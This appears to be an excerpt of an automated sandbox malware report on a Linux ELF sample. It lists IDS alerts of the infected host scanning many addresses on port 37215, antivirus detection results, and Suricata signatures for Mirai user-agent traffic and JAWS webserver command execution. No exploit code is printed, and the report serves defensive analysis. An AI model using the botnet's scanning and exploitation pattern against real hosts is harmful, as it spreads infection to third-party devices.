2024-12-03T23:02:39.667190+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45880	41.145.56.190	37215	TCP
2024-12-03T23:02:39.667339+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54218	197.54.19.38	37215	TCP
2024-12-03T23:02:39.667450+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44762	156.29.235.102	37215	TCP
2024-12-03T23:02:39.667644+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57990	41.20.161.220	37215	TCP
2024-12-03T23:02:39.667794+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51756	156.189.155.64	37215	TCP
2024-12-03T23:02:39.667914+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48012	156.171.109.67	37215	TCP
2024-12-03T23:02:39.675457+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37272	156.26.109.171	37215	TCP
2024-12-03T23:02:39.675639+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58564	41.69.248.233	37215	TCP
2024-12-03T23:02:39.691075+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55250	156.125.208.52	37215	TCP
2024-12-03T23:02:39.691193+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57010	156.155.106.160	37215	TCP
2024-12-03T23:02:39.706674+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42636	41.203.148.119	37215	TCP
2024-12-03T23:02:39.706840+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45946	41.140.235.170	37215	TCP
2024-12-03T23:02:39.707006+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56692	197.225.104.85	37215	TCP
2024-12-03T23:02:39.784704+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59966	156.69.232.135	37215	TCP
2024-12-03T23:02:39.800382+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56046	156.147.229.183	37215	TCP
2024-12-03T23:02:39.831823+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39294	41.92.134.252	37215	TCP
2024-12-03T23:02:39.838080+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37766	197.167.65.252	37215	TCP
2024-12-03T23:02:39.869380+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51704	41.208.145.230	37215	TCP
2024-12-03T23:02:39.869654+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39312	156.80.53.101	37215	TCP
2024-12-03T23:02:39.878355+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53596	41.83.186.252	37215	TCP
2024-12-03T23:02:39.909749+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55322	156.155.15.236	37215	TCP
2024-12-03T23:02:39.909861+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37638	41.175.147.48	37215	TCP
2024-12-03T23:02:39.910043+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54920	197.241.42.119	37215	TCP
2024-12-03T23:02:39.925412+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56936	197.251.221.231	37215	TCP
2024-12-03T23:02:39.963016+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50044	156.162.95.37	37215	TCP
2024-12-03T23:02:39.988703+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37480	156.12.184.99	37215	TCP
2024-12-03T23:02:40.003630+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60480	41.214.182.188	37215	TCP
2024-12-03T23:02:40.916393+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57596	41.83.120.78	37215	TCP
2024-12-03T23:02:40.931924+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34266	197.87.142.90	37215	TCP
2024-12-03T23:02:40.947492+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60760	197.97.191.142	37215	TCP
2024-12-03T23:02:41.244457+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52190	197.15.75.253	37215	TCP
2024-12-03T23:02:41.244650+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44702	197.37.206.193	37215	TCP
2024-12-03T23:02:41.776137+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53194	41.67.193.32	37215	TCP
2024-12-03T23:02:41.791871+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45772	197.157.95.150	37215	TCP
2024-12-03T23:02:41.899992+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38134	197.119.63.226	37215	TCP
2024-12-03T23:02:41.928493+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52152	197.93.111.143	37215	TCP
2024-12-03T23:02:41.977598+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42456	41.69.112.9	37215	TCP
2024-12-03T23:02:41.977599+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59272	197.163.141.62	37215	TCP
2024-12-03T23:02:41.977601+0100	2835222	1	A Network Trojan was detected	192.168.2.23	32842	41.80.146.12	37215	TCP
2024-12-03T23:02:41.977601+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57488	197.55.237.6	37215	TCP
2024-12-03T23:02:41.977608+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43222	41.49.85.251	37215	TCP
2024-12-03T23:02:41.977608+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44394	156.160.213.35	37215	TCP
2024-12-03T23:02:41.977608+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56450	41.0.128.37	37215	TCP
2024-12-03T23:02:41.977608+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54266	41.251.186.49	37215	TCP
2024-12-03T23:02:41.977608+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57744	156.140.132.189	37215	TCP
2024-12-03T23:02:41.977609+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46378	41.132.145.170	37215	TCP
2024-12-03T23:02:41.977609+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36182	197.255.63.181	37215	TCP
2024-12-03T23:02:41.977612+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43094	41.40.34.178	37215	TCP
2024-12-03T23:02:41.977613+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33232	156.103.92.199	37215	TCP
2024-12-03T23:02:41.977613+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34190	156.54.244.210	37215	TCP
2024-12-03T23:02:41.977613+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48784	197.103.236.18	37215	TCP
2024-12-03T23:02:41.977613+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50182	156.171.91.162	37215	TCP
2024-12-03T23:02:42.023903+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54982	197.223.117.150	37215	TCP
2024-12-03T23:02:42.023905+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43482	156.107.62.194	37215	TCP
2024-12-03T23:02:42.023905+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37936	197.116.55.101	37215	TCP
2024-12-03T23:02:42.023905+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41776	156.121.246.51	37215	TCP
2024-12-03T23:02:42.023908+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55538	41.147.231.6	37215	TCP
2024-12-03T23:02:42.023914+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57652	156.165.133.97	37215	TCP
2024-12-03T23:02:42.023914+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53848	41.16.52.193	37215	TCP
2024-12-03T23:02:42.023992+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35566	41.120.62.92	37215	TCP
2024-12-03T23:02:42.024012+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50508	197.89.46.228	37215	TCP
2024-12-03T23:02:42.024027+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38820	156.122.150.55	37215	TCP
2024-12-03T23:02:42.024045+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39548	156.230.204.218	37215	TCP
2024-12-03T23:02:42.024063+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51434	41.136.53.44	37215	TCP
2024-12-03T23:02:42.024082+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43534	41.197.198.172	37215	TCP
2024-12-03T23:02:42.024100+0100	2835222	1	A Network Trojan was detected	192.168.2.23	32912	41.37.168.138	37215	TCP
2024-12-03T23:02:42.024121+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59520	41.212.140.199	37215	TCP
2024-12-03T23:02:42.041416+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43192	41.51.92.110	37215	TCP
2024-12-03T23:02:42.041470+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34854	197.142.220.183	37215	TCP
2024-12-03T23:02:42.041681+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58698	41.41.77.142	37215	TCP
2024-12-03T23:02:42.254041+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56910	197.0.61.73	37215	TCP
2024-12-03T23:02:42.260310+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33410	156.3.103.151	37215	TCP
2024-12-03T23:02:42.276012+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39430	156.46.39.255	37215	TCP
2024-12-03T23:02:43.197503+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55124	41.255.173.103	37215	TCP
2024-12-03T23:02:43.229002+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55552	41.52.235.187	37215	TCP
2024-12-03T23:02:43.238318+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49548	41.8.197.197	37215	TCP
2024-12-03T23:02:43.244460+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60838	156.112.126.186	37215	TCP
2024-12-03T23:02:43.244536+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49420	156.50.86.80	37215	TCP
2024-12-03T23:02:43.244633+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52852	41.159.173.195	37215	TCP
2024-12-03T23:02:43.363146+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36662	197.11.27.46	37215	TCP
2024-12-03T23:02:43.378796+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35212	41.116.122.219	37215	TCP
2024-12-03T23:02:43.394354+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37402	156.89.132.228	37215	TCP
2024-12-03T23:02:43.400705+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44150	197.55.108.16	37215	TCP
2024-12-03T23:02:43.410071+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50370	197.104.84.220	37215	TCP
2024-12-03T23:02:43.456992+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41450	156.5.118.117	37215	TCP
2024-12-03T23:02:45.253897+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36014	197.125.203.243	37215	TCP
2024-12-03T23:02:45.369197+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57668	156.209.146.25	37215	TCP
2024-12-03T23:02:45.441271+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34138	197.143.94.42	37215	TCP
2024-12-03T23:02:46.253994+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55180	156.26.199.236	37215	TCP
2024-12-03T23:02:46.260150+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57280	41.150.177.69	37215	TCP
2024-12-03T23:02:46.285538+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55004	156.136.92.139	37215	TCP
2024-12-03T23:02:46.510384+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58616	197.192.56.49	37215	TCP
2024-12-03T23:02:46.527126+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34934	197.57.140.23	37215	TCP
2024-12-03T23:02:46.535115+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33782	156.60.180.106	37215	TCP
2024-12-03T23:02:48.894117+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45244	41.44.228.132	37215	TCP
2024-12-03T23:02:49.760338+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36558	197.182.209.212	37215	TCP
2024-12-03T23:02:49.760511+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41090	197.19.209.243	37215	TCP
2024-12-03T23:02:49.760692+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36496	41.179.221.225	37215	TCP
2024-12-03T23:02:49.760726+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51506	41.91.72.23	37215	TCP
2024-12-03T23:02:49.760850+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59622	156.209.190.249	37215	TCP
2024-12-03T23:02:49.760935+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44572	41.22.58.216	37215	TCP
2024-12-03T23:02:49.775735+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36738	41.42.182.216	37215	TCP
2024-12-03T23:02:49.785033+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57656	156.229.43.2	37215	TCP
2024-12-03T23:02:49.800711+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46962	41.248.210.177	37215	TCP
2024-12-03T23:02:49.800936+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45004	156.129.171.208	37215	TCP
2024-12-03T23:02:49.800990+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59120	156.162.2.69	37215	TCP
2024-12-03T23:02:49.807075+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55600	41.47.209.171	37215	TCP
2024-12-03T23:02:49.807139+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37304	41.101.210.154	37215	TCP
2024-12-03T23:02:49.807246+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43634	197.59.183.118	37215	TCP
2024-12-03T23:02:49.816266+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34380	197.65.208.112	37215	TCP
2024-12-03T23:02:49.816381+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50668	156.151.31.7	37215	TCP
2024-12-03T23:02:49.816525+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55720	156.130.182.30	37215	TCP
2024-12-03T23:02:49.816650+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60878	197.82.8.118	37215	TCP
2024-12-03T23:02:49.816793+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43566	41.38.17.230	37215	TCP
2024-12-03T23:02:49.816877+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33480	41.128.181.89	37215	TCP
2024-12-03T23:02:49.816979+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41156	41.82.34.112	37215	TCP
2024-12-03T23:02:49.831961+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44152	41.124.213.62	37215	TCP
2024-12-03T23:02:49.847597+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39802	197.136.205.48	37215	TCP
2024-12-03T23:02:49.957302+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56452	197.245.12.91	37215	TCP
2024-12-03T23:02:49.957303+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37462	156.94.202.167	37215	TCP
2024-12-03T23:02:49.957444+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53182	197.248.140.51	37215	TCP
2024-12-03T23:02:50.525934+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56628	197.24.9.40	37215	TCP
2024-12-03T23:02:50.566622+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60584	41.86.254.67	37215	TCP
2024-12-03T23:02:50.566655+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53356	197.118.192.230	37215	TCP
2024-12-03T23:02:50.666450+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54250	41.34.165.44	37215	TCP
2024-12-03T23:02:50.666550+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54534	197.116.242.225	37215	TCP
2024-12-03T23:02:50.675793+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35154	156.21.141.59	37215	TCP
2024-12-03T23:02:50.682156+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52488	41.117.192.145	37215	TCP
2024-12-03T23:02:50.682269+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49876	41.155.70.107	37215	TCP
2024-12-03T23:02:50.691483+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40948	156.123.245.21	37215	TCP
2024-12-03T23:02:50.691542+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55786	156.64.133.234	37215	TCP
2024-12-03T23:02:50.697630+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35826	156.24.156.104	37215	TCP
2024-12-03T23:02:50.722806+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55022	41.105.250.177	37215	TCP
2024-12-03T23:02:50.722901+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43558	156.180.220.37	37215	TCP
2024-12-03T23:02:50.723036+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58828	156.98.8.62	37215	TCP
2024-12-03T23:02:50.738880+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37734	197.223.216.134	37215	TCP
2024-12-03T23:02:51.775946+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37804	197.75.86.125	37215	TCP
2024-12-03T23:02:51.776013+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48140	156.7.104.123	37215	TCP
2024-12-03T23:02:51.776137+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58710	156.191.51.7	37215	TCP
2024-12-03T23:02:51.791455+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47208	156.87.179.65	37215	TCP
2024-12-03T23:02:51.807154+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43400	197.62.121.87	37215	TCP
2024-12-03T23:02:51.807264+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37616	41.211.62.101	37215	TCP
2024-12-03T23:02:51.816370+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54856	156.148.188.125	37215	TCP
2024-12-03T23:02:51.816537+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33098	197.151.70.39	37215	TCP
2024-12-03T23:02:51.822721+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60362	197.216.168.54	37215	TCP
2024-12-03T23:02:51.822930+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57914	41.45.89.87	37215	TCP
2024-12-03T23:02:51.823082+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49660	197.243.101.18	37215	TCP
2024-12-03T23:02:51.832229+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53126	156.92.24.254	37215	TCP
2024-12-03T23:02:51.832327+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54884	197.12.146.92	37215	TCP
2024-12-03T23:02:51.863242+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56488	41.231.90.98	37215	TCP
2024-12-03T23:02:51.886445+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52154	197.202.161.35	37215	TCP
2024-12-03T23:02:52.557084+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46194	197.230.10.110	37215	TCP
2024-12-03T23:02:52.582180+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48718	197.234.69.69	37215	TCP
2024-12-03T23:02:52.604316+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52604	197.31.233.228	37215	TCP
2024-12-03T23:02:52.669508+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48566	197.30.46.42	37215	TCP
2024-12-03T23:02:52.697788+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54848	41.139.101.227	37215	TCP
2024-12-03T23:02:52.753831+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44538	41.131.14.221	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: x86.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: x86.elf

ReversingLabs: Detection: 73%

Machine Learning detection for sample

Source: x86.elf

Joe Sandbox ML: detected

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50942 -> 149.51.174.90:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50942 -> 149.51.174.90:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33866 -> 72.27.41.155:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33866 -> 72.27.41.155:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59618 -> 78.83.13.70:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59618 -> 78.83.13.70:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57192 -> 1.57.198.16:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57192 -> 1.57.198.16:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49548 -> 144.233.250.218:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49548 -> 144.233.250.218:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35186 -> 135.15.7.163:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35186 -> 135.15.7.163:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57712 -> 212.110.217.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33264 -> 60.164.109.203:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54432 -> 158.67.27.131:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33264 -> 60.164.109.203:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33014 -> 124.90.254.6:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33014 -> 124.90.254.6:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55322 -> 151.59.53.207:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54432 -> 158.67.27.131:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44122 -> 124.180.100.208:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57012 -> 75.244.175.40:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57712 -> 212.110.217.75:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55322 -> 151.59.53.207:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56846 -> 203.53.63.115:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40858 -> 184.220.227.77:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56846 -> 203.53.63.115:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40858 -> 184.220.227.77:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57012 -> 75.244.175.40:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37830 -> 165.207.12.117:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37830 -> 165.207.12.117:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44190 -> 112.16.175.41:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44190 -> 112.16.175.41:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41578 -> 184.47.95.238:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41578 -> 184.47.95.238:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44122 -> 124.180.100.208:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48238 -> 92.205.42.249:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48238 -> 92.205.42.249:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46592 -> 79.149.81.197:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46592 -> 79.149.81.197:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59156 -> 82.120.56.10:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59156 -> 82.120.56.10:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51932 -> 64.182.50.28:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42816 -> 73.36.157.53:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51932 -> 64.182.50.28:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42816 -> 73.36.157.53:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59542 -> 205.244.238.92:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59542 -> 205.244.238.92:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45350 -> 143.150.243.101:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45350 -> 143.150.243.101:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36418 -> 208.239.12.189:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36418 -> 208.239.12.189:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43232 -> 164.63.62.180:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60278 -> 123.52.192.123:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60278 -> 123.52.192.123:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42460 -> 146.63.138.246:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42460 -> 146.63.138.246:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35854 -> 81.114.132.64:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43232 -> 164.63.62.180:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53688 -> 50.151.21.8:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35854 -> 81.114.132.64:80
